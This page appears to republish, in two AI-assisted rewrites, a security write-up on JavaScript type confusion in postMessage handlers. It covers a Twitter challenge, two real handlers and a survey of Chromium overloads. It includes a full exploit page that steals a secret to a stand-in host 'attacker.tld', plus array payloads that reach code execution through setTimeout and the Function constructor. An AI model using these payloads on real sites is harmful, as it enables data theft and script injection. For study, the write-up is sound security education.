Skip to content
XSS Write-up Intermediate

JavaScript Functions Overload Confusion

A postMessage handler in a challenge read the origin from the message data, checked its hostname against an allowlist, and then used the same value as the targetOrigin for the reply. By sending an array with a targetOrigin property, the hostname check passed while the reply was delivered to the attacker's origin, leaking the secret.

Yashar Shahinzadeh Follow

Published on blog.voorivex.team

That is why a small postMessage challenge on Twitter caught my eye. It looked trivial, an iframe, an origin allowlist, and a secret behind it, but the intended solution turned on the exact confusion I had been abusing in the wild.

Yashar Shahinzadeh, on blog.voorivex.team

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

This is a write-up about a class of bug rather than a single product: the confusion that arises when two pieces of code read the same JavaScript value as different types. The starting point is a small postMessage challenge posted on Twitter by joaxcar. The challenge frames a page that holds a SECRET and asks you to leak it. The page has an origin allowlist and replies to the parent window, so at first glance it looks trivial: an iframe, an allowlist, a secret behind it.

The intended solution turns on the same confusion the author had been abusing in the wild. After solving it, the author went through the browser source to see how far the pattern reaches, and found another function with the same problem inside it. The article walks through the challenge, then a real case found before it, then a nastier variant of the same handler, then the research, and finally leaves a function for the reader to break.

Setup

No accounts, roles or tool versions are involved. The only preconditions are a browser and the ability to host a page that frames the victim. The challenge page exposes a message handler that reads m.data.origin, checks the hostname against an allowlist, and posts the secret back to the parent using the supplied origin as targetOrigin. The author also published the challenge on pwnbox as portway-2, and practice versions of the two handlers as portway-3 and portway-4, so the techniques can be practised online.

Finding it

The victim's handler is short:

JavaScript
let SECRET = "abc123"
let ALLOWED_ORIGINS = ["example.com"]
window.onmessage = (m) => {
    let origin = m.data.origin
    let host = new URL(origin).hostname;
    if (ALLOWED_ORIGINS.includes(host)) {
        window.parent.postMessage(SECRET, origin);
    }
}

It reads origin from the incoming message, extracts the hostname with new URL(), and if that hostname is in the allowlist it sends SECRET back to the parent, using the same origin value as the targetOrigin. To walk away with the secret, two things have to be true at once: new URL(origin).hostname must equal example.com so the check passes, and the reply must be delivered to the attacker's origin, which is not example.com.

The same origin value drives both decisions, and with a plain string the two requirements fight each other. Sending "https://example.com" passes the check but delivers the secret to example.com. Sending the attacker's own origin delivers the reply but fails the hostname check. One of the two always loses.

The value never had to be a string. The handler reads m.data.origin, and postMessage uses structured clone, so an object can be sent instead.

Exploitation

Step 1: send an array instead of a string

The attacker sends an array with an extra property attached:

JavaScript
const origin = ["https://example.com"];
origin.targetOrigin = "https://attacker.tld";
victim.contentWindow.postMessage({ origin }, "*");

new URL(origin) stringifies the array. String(["https://example.com"]) is just "https://example.com", so the hostname is example.com and the check passes exactly as before. The reply, however, behaves completely differently, because origin is now an object.

Step 2: let overload resolution pick the other signature

Window.postMessage is declared twice in Chromium's Blink source. In WebIDL terms there are two overloads:

Text
postMessage(message, USVString targetOrigin, ...)
postMessage(message, WindowPostMessageOptions options)

When a function is declared more than once, something has to decide which version a given call meant, and that step is called overload resolution. WebIDL spells out an exact algorithm for it: it looks at how many arguments were passed and what their types are, then matches that against the declared signatures. A string and an object count as distinguishable types, so the same argument slot can legally accept either one, and the type of the value decides which overload runs.

Here the deciding argument is the second one. A string takes the first overload, where the argument is the target origin. An object takes the second overload, where the argument is an options dictionary and the browser reads options.targetOrigin off it. The array is an object, so postMessage(SECRET, origin) switches to the options overload and reads origin.targetOrigin, the property set to the attacker's origin. The secret is delivered straight to the attacker.

Step 3: frame the challenge and catch the secret

Put together, the whole exploit is a single page that frames the challenge, sends the crafted message once the frame has loaded, and catches the secret the victim posts back:

HTML
<iframe id="victim" src="https://challenge.example/leak.html"></iframe>
<script>
  // the victim posts its SECRET back to us, so grab it and exfiltrate
  window.onmessage = (e) => {
    new Image().src = "https://attacker.tld/?secret=" + encodeURIComponent(e.data);
  };

  victim.onload = () => {
    const origin = ["https://example.com"]; // String(origin) === "https://example.com", so the hostname check passes
    origin.targetOrigin = location.origin;   // the options overload reads this, so the reply is delivered to us
    victim.contentWindow.postMessage({ origin }, "*");
  };
</script>

The whole bug is that the check and the sink never agreed on what origin was. new URL() read it as a string and saw example.com; postMessage read it as an options object and saw the attacker's targetOrigin. One value, two readings, and the exploit lives in the gap between them.

Step 4: the first real case, a window dispatch

Before the challenge, the author had seen the same shape in a real handler that looked nothing like the toy above but broke for the same reason:

JavaScript
window.addEventListener('message', function(event) {
    if (event.data && event.data.action === 'log') {
        window[event.data.func](event.data)
    }
});

There is no origin check, so any page can talk to it. It reads action, and if it is 'log', it treats event.data.func as a window property name, calls it, and passes the whole message as the argument. The attacker controls which window function runs, and the argument is the message object itself.

The obvious moves die fast. The attacker controls func, so the goal is to point it at something that runs code, but the argument is an object and most sinks want a string. A plain object handed to setTimeout or to the Function constructor stringifies to the constant "[object Object]", which is not valid JavaScript, and there is no window.write to reach for. Every path dies on the same rock: the argument is an object, and objects stringify to garbage.

The way through is to stop sending an object and start sending an array, because two properties of postMessage line up. First, structured clone keeps an array's named own properties, so if .action and .func are tacked onto an array they survive the trip and the action === 'log' guard passes with func under the attacker's control. Second, an array stringifies to its element: String(["alert(origin)"]) is "alert(origin)", not "[object Object]". So point func at setTimeout and send the payload as the element:

JavaScript
const data = ["alert(origin)"];
data.action = 'log';
data.func   = 'setTimeout';
victim.postMessage(data, '*');

The handler runs window['setTimeout'](data). setTimeout's first argument is (DOMString or Function), and data is a non-callable object, so it goes down the string branch, where the browser runs ToString on it and compiles the result as code. ToString(data) is "alert(origin)", and it runs in the app's origin. It is the same shape as the challenge: the guard read data as a control object and found action and func, and setTimeout read it as a string and found the code.

Step 5: the nastier variant, a nested lookup table

The same handler shows up in a form where the dispatch is not a plain window[...] but a nested lookup table:

JavaScript
window.addEventListener('message', function(event) {
    if (event.data && event.data.action === 'log') {
        log[event.data.cat][event.data.message_type](event.data)()
    }
});

log is a table of logging factories, roughly { error: {general, connection}, success: {general, close} }, where each leaf is (data) => () => console.log(...). That two-step shape, a function that takes data and returns a thunk, is why the sink calls the looked-up value with (event.data) and then invokes the result with (). Again there is no origin check, and both cat and message_type are attacker-chosen property names.

The extra move here is that the lookup is not restricted to the real keys, so it can climb the prototype chain. log["constructor"] resolves to Object, and Object["constructor"] is the Function constructor, so log["constructor"]["constructor"] is Function and the sink becomes Function(event.data)(). That two-call structure is exactly what Function wants: Function(x) builds a function whose body is ToString(x), and the trailing () runs it. The array trick is identical, the named properties ride along through the clone, and the element becomes the function body:

JavaScript
const data = ["alert(origin)"];
data.action       = 'log';
data.cat          = 'constructor';
data.message_type = 'constructor';
victim.postMessage(data, '*');

This runs Function(["alert(origin)"])(), which compiles alert(origin) and calls it, in the app's origin. The two handlers look nothing alike, one indexes window and the other climbs a table into the Function constructor, but they are the same bug, and structured clone is generous enough to let a single array be a control object and a string at the same time.

Root cause

The mistake is that a validator and a sink disagree about what a value is. In the challenge, new URL() reads origin as a string and sees example.com, while postMessage reads it as an options object and sees the attacker's targetOrigin. In the real handlers, the guard reads data as a control object and finds action, func, cat and message_type, while setTimeout or Function reads it as a string and finds code.

Two properties of postMessage make the gap easy to reach. Structured clone preserves an array's named own properties, so an array can carry the control fields the guard needs. And an array stringifies to its element, so the same value can be a valid string for the sink. A plain object would fail the second requirement because it stringifies to "[object Object]".

At the browser level the mechanism is WebIDL overload resolution. When an operation is declared more than once, the type of the argument decides which overload runs. A string and an object are distinguishable types, so the same argument slot can accept either, and the type of the value quietly picks the code path. The real handlers had no origin check at all, so any page could talk to them; the challenge had an allowlist, but the allowlist and the reply used the same value with different readings.

Impact

In the challenge, the impact is leaking the SECRET held by the framed page. In the real handlers, the impact would be code execution in the app's origin: setTimeout compiles the array's element as code, and the nested-table variant reaches the Function constructor and runs the element as a function body. Both real handlers had no origin check, so any page could send the message. The challenge shows the same class of bug surviving an origin allowlist when the allowlist and the sink read the same value differently.

The research

After the challenge the author stopped treating this as a trick and read the source to see how many places the browser lets an argument's type quietly pick the code path. The approach was to walk the entire Blink IDL surface, every interface Chromium exposes to the web, pull out every operation declared more than once, and look at what each overload does in the C++ behind it. This was done with the help of Claude AI, and it took an appropriate series of prompts and a fair amount of effort to walk the whole tree and cross-check every overload.

Out of 2,228 IDL files, about 112 operations are genuinely overloaded. Most of those forks are harmless, such as a boolean versus an options object for addEventListener, or coordinates versus a dictionary for scroll. Keeping only the overloads where the branch reached a sink or a security decision leaves a small and sharp set.

The funnel Count
Blink IDL files scanned 2,228
Operations declared more than once ~112
Overloads that reach a sink or a security decision ~30
Type forks that gate a security decision 4
Forks decided by argument count 2
Trusted Types sinks that fork on type inside the C++ ~22

The handful that let you turn the confusion into code or a security decision are all the same bug wearing different clothes:

Function Fork on The dangerous branch
postMessage 2nd argument, string vs object reads options.targetOrigin from your object
setTimeout / setInterval 1st argument, function vs string compiles your string as code
Function its argument, via ToString compiles your string as code
document.write string vs TrustedHTML writes HTML with the Trusted Types check skipped
setAttribute string vs TrustedType sets the attribute with the check skipped
~22 Trusted Types sinks trusted object vs string inject with enforcement skipped

postMessage was only the entry point. setTimeout and setInterval take a handler that is either a Function or a string, and a non-callable value goes down the string branch and is compiled, which powered the first case. The Function constructor builds its body from ToString of its argument, which powered the variant. document.write and setAttribute treat a real trusted object and a plain string as different overloads, and only the string branch runs the Trusted Types check. That last row hides a whole family: about twenty-two Trusted Types sinks, including innerHTML, outerHTML, srcdoc, insertAdjacentHTML, script.src and importScripts, each a single signature in the IDL that still branches inside the C++ on whether it was handed a genuine trusted object or a plain string. The trusted object skips enforcement, the string runs it. The shape never changes: somewhere a value is checked as one type and used as another, and the two readings do not have to agree.

A function to break

The research led to one more function left as a puzzle, because it is the cleanest of the bunch. Consider a listener like this:

JavaScript
window.addEventListener('message', (event) => {
  if (event.data && event.data.type === 'reset') {
    document.open(...event.data.args);   // just clears the document, right?
  }
});

document.open() looks harmless. In its usual form it resets the current document so it can be rewritten with document.write, and the author here treats it as safe housekeeping and lets the message decide its arguments. But document.open is not one function. It has a second form, and which one runs depends on how many arguments are passed. Two arguments give the document-stream reset. Three arguments give something else entirely, something that hands back a Window. That is the hint: the argument list is read one way by the developer and another way by the browser, exactly like everything above. From that listener, the goal is to cause a navigation to an origin of the attacker's choosing, and for extra credit a javascript: execution. Working out what event.data.args has to be is left to the reader.

Fix

The report does not describe a fix being applied. The lesson it draws is that a validator and a sink should never disagree about what a value is: when they do, the gap between the two readings is the bug. The pattern is not really about postMessage; it is about any two pieces of code that read the same value with different eyes. When a check and a sink both touch the same input, the question to ask is whether they agree on its type.

Variants to test

  1. Origin allowlist with a stringified value. Send an array whose element is an allowed origin and attach a targetOrigin property pointing at your own origin. A positive result is the allowlist check passing while the reply arrives at your origin.
  2. Window dispatch by property name. Look for handlers that call window[event.data.func](event.data) after a weak guard. Send an array carrying the guard fields and an element of JavaScript. A positive result is the element being compiled and run in the app's origin.
  3. Nested lookup tables. Look for handlers that index a table with attacker-chosen keys and then call the result. Try constructor for both keys to climb to the Function constructor, with the payload as the array element. A positive result is the element running as a function body.
  4. String-versus-function sinks. Try setTimeout and setInterval with a non-callable object whose ToString is valid JavaScript. A positive result is the string branch compiling and running the value.
  5. Trusted Types sinks. Try document.write, setAttribute, innerHTML, outerHTML, srcdoc, insertAdjacentHTML, script.src and importScripts with a plain string where a trusted object is expected. A positive result is the string branch running the Trusted Types check while the trusted object branch skips it.
  6. Argument-count forks. Look for functions whose behaviour changes with the number of arguments, such as document.open. A positive result is a different overload running than the developer intended, for example one that returns a Window and allows a navigation to an origin of your choosing.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

This article is about a family of bugs, not one product. The bug is simple to say: two parts of a program look at the same value and disagree about what kind of thing it is. One part treats it as a harmless label, the other treats it as instructions. When that happens, an attacker can slip something past a check and have it used somewhere dangerous.

The story starts with a small puzzle posted on Twitter by joaxcar. A web page holds a secret string, and the puzzle is to steal it. The page has a guard: it only answers messages from an approved website. On the surface it looks impossible to beat. The author solved it quickly, then went looking through the browser's own source code to see how common the same mistake is. That search turned up another function with the same flaw, and the article ends by handing you that one as a puzzle.

The order is: the Twitter puzzle first, then a real case the author had found earlier, then a nastier version of the same handler, then the research, and finally a function for you to break yourself.

Before we start, a few words you will meet constantly.

  • A web page is a document your browser downloads and runs. It can contain HTML (the structure), CSS (the look) and JavaScript (the behaviour).
  • JavaScript is the programming language browsers run. It is what makes pages interactive.
  • An API (Application Programming Interface) is a set of functions a program offers so other programs can talk to it. Think of a restaurant menu: you do not walk into the kitchen, you order from the list of dishes the kitchen is willing to make. Browser APIs are the list of things a page is allowed to ask the browser to do.
  • An origin is the combination of protocol, hostname and port that identifies where a page came from, for example https://example.com. Browsers use origins as a security boundary: pages from one origin are not supposed to read data from another. This rule is called the same-origin policy.
  • An iframe is a page embedded inside another page, like a picture frame hanging on a wall. The outer page is called the parent, the inner one the child.
  • postMessage is the browser API that lets two windows or frames send each other messages even when they are from different origins. It is the safe, official way to talk across the boundary.

The Twitter Challenge

The puzzle came from a tweet by joaxcar. The setup is easy to state: you are allowed to put a page inside an iframe, and you have to steal a SECRET that lives inside it. Here is the victim's message handler:

JavaScript
let SECRET = "abc123"
let ALLOWED_ORIGINS = ["example.com"]
window.onmessage = (m) => {
    let origin = m.data.origin
    let host = new URL(origin).hostname;
    if (ALLOWED_ORIGINS.includes(host)) {
        window.parent.postMessage(SECRET, origin);
    }
}

Line by line:

  1. let SECRET = "abc123" stores the secret string the page is protecting. In the real world this could be any data you should not see.
  2. let ALLOWED_ORIGINS = ["example.com"] is the allowlist: the list of websites the page is willing to answer. Only example.com is on it.
  3. window.onmessage = (m) => { sets up a listener. Whenever a message arrives from another window, the browser calls this function and passes the message in m. The message object has a .data field holding whatever the sender put in it.
  4. let origin = m.data.origin pulls a field called origin out of the message. The sender chooses this value, so it is fully under the attacker's control.
  5. let host = new URL(origin).hostname; turns that value into a URL and takes its hostname. new URL() is a built-in JavaScript tool that parses a web address and gives you its parts. If the value is https://example.com/page, the hostname is example.com.
  6. if (ALLOWED_ORIGINS.includes(host)) { is the guard: only continue if the hostname is on the allowlist.
  7. window.parent.postMessage(SECRET, origin); sends the secret back to the parent window. The second argument, origin, tells the browser where the reply is allowed to be delivered. If it does not match the receiving window's origin, the browser throws the message away.
  8. The closing braces end the block and the function.

The flow is short. The handler reads origin from our message, extracts the hostname, and if that hostname is on the allowlist it sends SECRET back to us, using our origin as the targetOrigin. To walk away with the secret, two things have to be true at once: new URL(origin).hostname has to equal example.com so the check passes, and the reply has to be delivered to our origin, which is not example.com. The same origin value drives both decisions, and with a plain string the two requirements fight each other. If I send "https://example.com", the check passes but the secret goes to example.com. If I send my own origin, delivery works but the hostname check fails. One of the two always loses.

The value never had to be a string, though. The handler reads m.data.origin, and postMessage uses a mechanism called structured clone to copy the message from one window to another. Structured clone is like a photocopier that can copy not just text but also objects, arrays, numbers and dates, preserving their shape. So I can send an object or an array instead of a string, and it arrives on the other side intact.

I send an array:

JavaScript
const origin = ["https://example.com"];
origin.targetOrigin = "https://attacker.tld";
victim.contentWindow.postMessage({ origin }, "*");

Line by line:

  1. const origin = ["https://example.com"]; creates an array with one element, the string https://example.com. An array is a list; here it has one item.
  2. origin.targetOrigin = "https://attacker.tld"; attaches an extra named property to the array. In JavaScript, arrays are objects, so you can stick extra labelled values onto them, like writing a note on the back of a shopping list. The label here is targetOrigin and the value is the attacker's own site.
  3. victim.contentWindow.postMessage({ origin }, "*"); sends a message to the framed page. The message is an object with one field, origin, whose value is our array. The "*" means "deliver to any origin", which is fine because we are the sender.

Now new URL(origin) stringifies the array. When JavaScript needs a string but gets an array, it converts it by joining the elements with commas. String(["https://example.com"]) is just "https://example.com", so the hostname is example.com and the check passes exactly as before. But the reply behaves completely differently, because origin is now an object.

Window.postMessage is declared twice in the browser's source code, in Chromium's Blink source. Chromium is the open-source browser project behind Chrome and many other browsers; Blink is its rendering engine. In WebIDL terms there are two overloads:

Text
postMessage(message, USVString targetOrigin, ...)
postMessage(message, WindowPostMessageOptions options)

What is an overload? When a function is declared more than once with different argument lists, something has to decide which version a given call actually meant, and that step is called overload resolution. WebIDL, the interface language browsers use to define these APIs, spells out an exact algorithm for it: it looks at how many arguments you passed and what their types are, then matches that against the declared signatures. The important part is that a string and an object count as distinguishable types, so the same argument slot can legally accept either one, and the type of the value you hand it is what quietly decides which overload runs.

Here the deciding argument is the second one. A string takes the first overload, where the argument is the target origin. An object takes the second overload, where the argument is an options dictionary and the browser reads options.targetOrigin off of it. My array is an object, so postMessage(SECRET, origin) switches to the options overload and reads origin.targetOrigin, the property I set to my own origin. The secret is delivered straight to me.

Put together, the whole exploit is a single page that frames the challenge, sends the crafted message once the frame has loaded, and catches the secret the victim posts back:

HTML
<iframe id="victim" src="https://challenge.example/leak.html"></iframe>
<script>
  // the victim posts its SECRET back to us, so grab it and exfiltrate
  window.onmessage = (e) => {
    new Image().src = "https://attacker.tld/?secret=" + encodeURIComponent(e.data);
  };

  victim.onload = () => {
    const origin = ["https://example.com"]; // String(origin) === "https://example.com", so the hostname check passes
    origin.targetOrigin = location.origin;   // the options overload reads this, so the reply is delivered to us
    victim.contentWindow.postMessage({ origin }, "*");
  };
</script>

Line by line:

  1. <iframe id="victim" src="https://challenge.example/leak.html"></iframe> embeds the victim page inside our page. The id gives it a name we can refer to later.
  2. <script> starts a block of JavaScript.
  3. window.onmessage = (e) => { sets up a listener on our own page. When the victim sends the secret back, this function runs with the message in e.
  4. new Image().src = "https://attacker.tld/?secret=" + encodeURIComponent(e.data); is the exfiltration step. It creates an invisible image whose address points at our server, with the secret appended as a query parameter. The browser fetches the image, and our server logs the request, so we receive the secret. encodeURIComponent makes the value safe to put in a URL.
  5. }; closes the listener.
  6. victim.onload = () => { runs the next block once the framed page has finished loading, so the victim's handler is ready to receive our message.
  7. const origin = ["https://example.com"]; builds the array whose string form passes the allowlist check.
  8. origin.targetOrigin = location.origin; attaches the property the options overload will read. location.origin is our own page's origin, so the reply comes to us.
  9. victim.contentWindow.postMessage({ origin }, "*"); sends the crafted message into the frame.
  10. }; and </script> close the block and the script.

The whole bug is that the check and the sink never agreed on what origin was. A sink is any place where data ends up being used in a way that matters, such as being executed as code or written into the page. new URL() read it as a string and saw example.com, postMessage read it as an options object and saw my targetOrigin. One value, two readings, and the exploit lives in the gap between them.

I also published this challenge on pwnbox as portway-2, so you can practice with it online. pwnbox is a site that hosts practice challenges.

The First Case

I had seen this shape before the challenge, in a real handler that looked nothing like the toy above but broke for the same reason. It went like this:

JavaScript
window.addEventListener('message', function(event) {
    if (event.data && event.data.action === 'log') {
        window[event.data.func](event.data)
    }
});

Line by line:

  1. window.addEventListener('message', function(event) { registers a listener for incoming messages. addEventListener is the general way to subscribe to browser events; 'message' is the event name.
  2. if (event.data && event.data.action === 'log') { is the guard. It checks that a message arrived and that its action field equals the string 'log'. If not, nothing happens.
  3. window[event.data.func](event.data) is the dangerous line. window is the global object in a browser page; many built-in functions live on it. window[event.data.func] looks up a function by name, where the name comes from the message. Then (event.data) calls that function and passes the whole message as its argument.
  4. The closing braces end the block and the listener.

There is no origin check, so any page can talk to it. It reads action, and if it is 'log', it treats event.data.func as a window property name, calls it, and passes the whole message as the argument. So I control which window function runs, and the argument is the message object itself.

The obvious moves die fast. I control func, so I want to point it at something that runs code, but the argument is an object and most sinks want a string. A plain object handed to setTimeout or to the Function constructor stringifies to the constant "[object Object]", which is not valid JavaScript, and there is no window.write to reach for. Every path dies on the same rock: the argument is an object, and objects stringify to garbage.

A quick word on the two sinks involved. setTimeout is a browser function that runs something after a delay. Its first argument can be either a function or a string of code; if it is a string, the browser compiles and runs it. The Function constructor is a JavaScript built-in that builds a new function from a string of code. Both are dangerous when an attacker controls the string.

The way through is to stop sending an object and start sending an array, because two properties of postMessage line up for us. First, structured clone keeps an array's named own properties, so if I tack .action and .func onto an array they survive the trip and the action === 'log' guard passes with func under my control. Second, an array stringifies to its element: String(["alert(origin)"]) is "alert(origin)", not "[object Object]". So I point func at setTimeout and send the payload as the element:

JavaScript
const data = ["alert(origin)"];
data.action = 'log';
data.func   = 'setTimeout';
victim.postMessage(data, '*');

Line by line:

  1. const data = ["alert(origin)"]; creates an array whose single element is the JavaScript code alert(origin). alert is a browser function that pops up a dialog; origin is a built-in variable holding the current page's origin. Running this code proves we can execute JavaScript in the victim's page.
  2. data.action = 'log'; attaches the field the guard checks, so the guard passes.
  3. data.func = 'setTimeout'; attaches the field that names the function to call. We choose setTimeout because it will compile a string as code.
  4. victim.postMessage(data, '*'); sends the array to the victim page.

The handler runs window['setTimeout'](data). setTimeout's first argument is (DOMString or Function), and data is a non-callable object, so it goes down the string branch, where the browser runs ToString on it and compiles the result as code. ToString(data) is "alert(origin)", and it runs in the app's origin. It is the same shape as the challenge: the guard read data as a control object and found action and func, and setTimeout read it as a string and found my code.

I published this one on pwnbox as portway-3, so you can practice with it online.

Now let's extend it, because the same handler shows up in a nastier form where the dispatch is not a plain window[...] but a nested lookup table:

JavaScript
window.addEventListener('message', function(event) {
    if (event.data && event.data.action === 'log') {
        log[event.data.cat][event.data.message_type](event.data)()
    }
});

Line by line:

  1. window.addEventListener('message', function(event) { registers the message listener, same as before.
  2. if (event.data && event.data.action === 'log') { is the same guard: only proceed if action is 'log'.
  3. log[event.data.cat][event.data.message_type](event.data)() is the dangerous line. log is a table of functions. event.data.cat picks a row, event.data.message_type picks a column, and the result is called with (event.data). Then the result of that call is called again with (). Both cat and message_type come from the message, so the attacker chooses them.

log is a table of logging factories, roughly { error: {general, connection}, success: {general, close} }, where each leaf is (data) => () => console.log(...). That two-step shape, a function that takes data and returns a thunk, is why the sink calls the looked-up value with (event.data) and then invokes the result with (). A thunk is just a function returned by another function, waiting to be called. Again there is no origin check, and both cat and message_type are attacker-chosen property names.

The extra move here is that the lookup is not restricted to the real keys, so it can climb the prototype chain. Every JavaScript object inherits from a chain of built-in objects, and constructor is a property that points back to the function that built the object. log["constructor"] resolves to Object, the built-in object constructor, and Object["constructor"] is the Function constructor, so log["constructor"]["constructor"] is Function and the sink becomes Function(event.data)(). That two-call structure is exactly what Function wants: Function(x) builds a function whose body is ToString(x), and the trailing () runs it. The array trick is identical, the named properties ride along through the clone, and the element becomes the function body:

JavaScript
const data = ["alert(origin)"];
data.action       = 'log';
data.cat          = 'constructor';
data.message_type = 'constructor';
victim.postMessage(data, '*');

Line by line:

  1. const data = ["alert(origin)"]; creates the array with our code as its element, same as before.
  2. data.action = 'log'; satisfies the guard.
  3. data.cat = 'constructor'; picks the constructor row of the table, which climbs to Object.
  4. data.message_type = 'constructor'; picks the constructor column, which climbs to Function.
  5. victim.postMessage(data, '*'); sends it.

This runs Function(["alert(origin)"])(), which compiles alert(origin) and calls it, in the app's origin. The two handlers look nothing alike, one indexes window and the other climbs a table into the Function constructor, but they are the same bug, and structured clone is generous enough to let a single array be a control object and a string at the same time.

The extended version is on pwnbox as portway-4, if you want to try the harder one.

The Research

After the challenge I stopped treating this as a trick and went to read the source, because I wanted to know how many places the browser lets an argument's type quietly pick the code path. So I walked the entire Blink IDL surface, every interface Chromium exposes to the web, pulled out every operation that is declared more than once, and looked at what each overload actually does in the C++ behind it. C++ is the programming language Chromium itself is written in; the IDL files are the interface descriptions that say what the browser offers to web pages. I did this with the help of Claude AI, though it was not a one-shot answer: it took an appropriate series of prompts and a fair amount of effort to walk the whole tree and cross-check every overload.

Out of 2,228 IDL files, about 112 operations are genuinely overloaded. Most of those forks are harmless, a boolean versus an options object for addEventListener, coordinates versus a dictionary for scroll. But once you keep only the overloads where the branch you land on reaches a sink or a security decision, a small and sharp set is left.

The funnel Count
Blink IDL files scanned 2,228
Operations declared more than once ~112
Overloads that reach a sink or a security decision ~30
Type forks that gate a security decision 4
Forks decided by argument count 2
Trusted Types sinks that fork on type inside the C++ ~22

The table is a funnel: start with every file, keep only the ones with overloads, then keep only the ones that matter for security. The last row mentions Trusted Types, a browser feature that lets a site declare that certain sinks only accept special trusted objects instead of plain strings, to stop injected HTML from running.

The handful that let you turn the confusion into code or a security decision are worth naming, because they are all the same bug wearing different clothes.

Function Fork on The dangerous branch
postMessage 2nd argument, string vs object reads options.targetOrigin from your object
setTimeout / setInterval 1st argument, function vs string compiles your string as code
Function its argument, via ToString compiles your string as code
document.write string vs TrustedHTML writes HTML with the Trusted Types check skipped
setAttribute string vs TrustedType sets the attribute with the check skipped
~22 Trusted Types sinks trusted object vs string inject with enforcement skipped

postMessage was only the entry point. setTimeout and setInterval take a handler that is either a Function or a string, and a non-callable value goes down the string branch and is compiled, which is exactly what powered the first case. setInterval is like setTimeout but repeats until it is cleared. The Function constructor builds its body from ToString of its argument, which powered the variant. document.write and setAttribute treat a real trusted object and a plain string as different overloads, and only the string branch runs the Trusted Types check. document.write writes HTML into the page; setAttribute sets an attribute on an HTML element. That last row hides a whole family: about twenty-two Trusted Types sinks, innerHTML, outerHTML, srcdoc, insertAdjacentHTML, script.src, importScripts and more, each a single signature in the IDL that still branches inside the C++ on whether you handed it a genuine trusted object or a plain string. The trusted object skips enforcement, the string runs it. The shape never changes. Somewhere a value is checked as one type and used as another, and the two readings do not have to agree.

That reading led me to one more function I want to leave with you, because it is the cleanest puzzle of the bunch. Consider a listener like this:

JavaScript
window.addEventListener('message', (event) => {
  if (event.data && event.data.type === 'reset') {
    document.open(...event.data.args);   // just clears the document, right?
  }
});

Line by line:

  1. window.addEventListener('message', (event) => { registers a message listener.
  2. if (event.data && event.data.type === 'reset') { is the guard: only proceed if the message has a type field equal to 'reset'.
  3. document.open(...event.data.args); calls document.open with whatever arguments the message supplies. The ... is the spread operator: it takes an array and passes each element as a separate argument. So the attacker controls how many arguments arrive and what they are.

document.open() looks harmless. In its usual form it resets the current document so you can rewrite it with document.write, and the author here treats it as safe housekeeping and lets the message decide its arguments. But document.open is not one function. It has a second form, and which one runs depends on how many arguments you pass. Two arguments give you the document-stream reset. Three arguments give you something else entirely, something that hands you a Window back. That is your hint: the argument list is read one way by the developer and another way by the browser, exactly like everything above. From that listener, cause a navigation to an origin you choose, and for extra credit a javascript: execution. Work out what event.data.args has to be. It is more fun to find than to be told.

Final Words

The lesson is small and it is old: a validator and a sink should never disagree about what a value is. When they do, the gap between the two readings is the bug. postMessage makes that gap easy to reach, because structured clone will happily carry an array that is a control object and a string at the same time, but the pattern is not really about postMessage. It is about any two pieces of code that read the same value with different eyes. So next time a check and a sink both touch the same input, ask yourself whether they agree on its type. More often than you would think, they do not.

Thanks for reading, and go find the document.open() one before I post it. Happy hacking :)

Glossary

  • API: a set of functions a program offers so other programs can talk to it, like a restaurant menu.
  • Allowlist: a list of things that are explicitly permitted; anything not on it is refused.
  • Array: an ordered list of values in JavaScript, written with square brackets.
  • Blink: the rendering component of Chromium, the engine inside Chrome and many other browsers.
  • C++: the programming language Chromium itself is written in.
  • Chromium: the open-source browser engine that powers Chrome and several other browsers.
  • Constructor: a built-in function that creates objects; the constructor property points back to it.
  • DOM: the Document Object Model, the tree of elements that makes up a web page.
  • Exfiltration: secretly sending stolen data out to a server the attacker controls.
  • Function constructor: a JavaScript built-in that builds a new function from a string of code.
  • Hostname: the part of a URL that names the server, for example example.com in https://example.com/page.
  • HTML: the language that describes the structure of a web page.
  • IDL: Interface Definition Language, the files that describe what functions a browser offers to web pages.
  • iframe: a web page embedded inside another page.
  • JavaScript: the programming language browsers run to make pages interactive.
  • Origin: the combination of protocol, hostname and port that identifies where a page came from, used as a security boundary.
  • Overload: one of several versions of the same function, distinguished by the number or types of its arguments.
  • Overload resolution: the process of deciding which overload a given call means.
  • Parent window: the outer page that contains an iframe.
  • postMessage: the browser API that lets windows and frames send messages to each other across origins.
  • Prototype chain: the chain of built-in objects every JavaScript object inherits from.
  • pwnbox: a website that hosts practice security challenges.
  • Same-origin policy: the browser rule that pages from one origin cannot read data from another.
  • setInterval: a browser function that runs code repeatedly after a delay.
  • setTimeout: a browser function that runs code once after a delay; it accepts a function or a string of code.
  • Sink: any place where data ends up being used in a way that matters, such as being executed as code or written into the page.
  • Spread operator: the ... syntax that takes an array and passes each element as a separate argument.
  • Structured clone: the browser mechanism that copies messages between windows, preserving objects and arrays.
  • Thunk: a function returned by another function, waiting to be called.
  • ToString: the conversion of a value into a string; arrays become their elements joined by commas, plain objects become "[object Object]".
  • Trusted Types: a browser feature that lets a site require special trusted objects instead of plain strings at certain sinks.
  • URL: a web address, such as https://example.com/page.
  • WebIDL: the interface language browsers use to define their APIs and the rules for overload resolution.
  • XSS: cross-site scripting, a bug where an attacker gets their JavaScript to run in someone else's page.

More by Yashar Shahinzadeh

View all

4 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.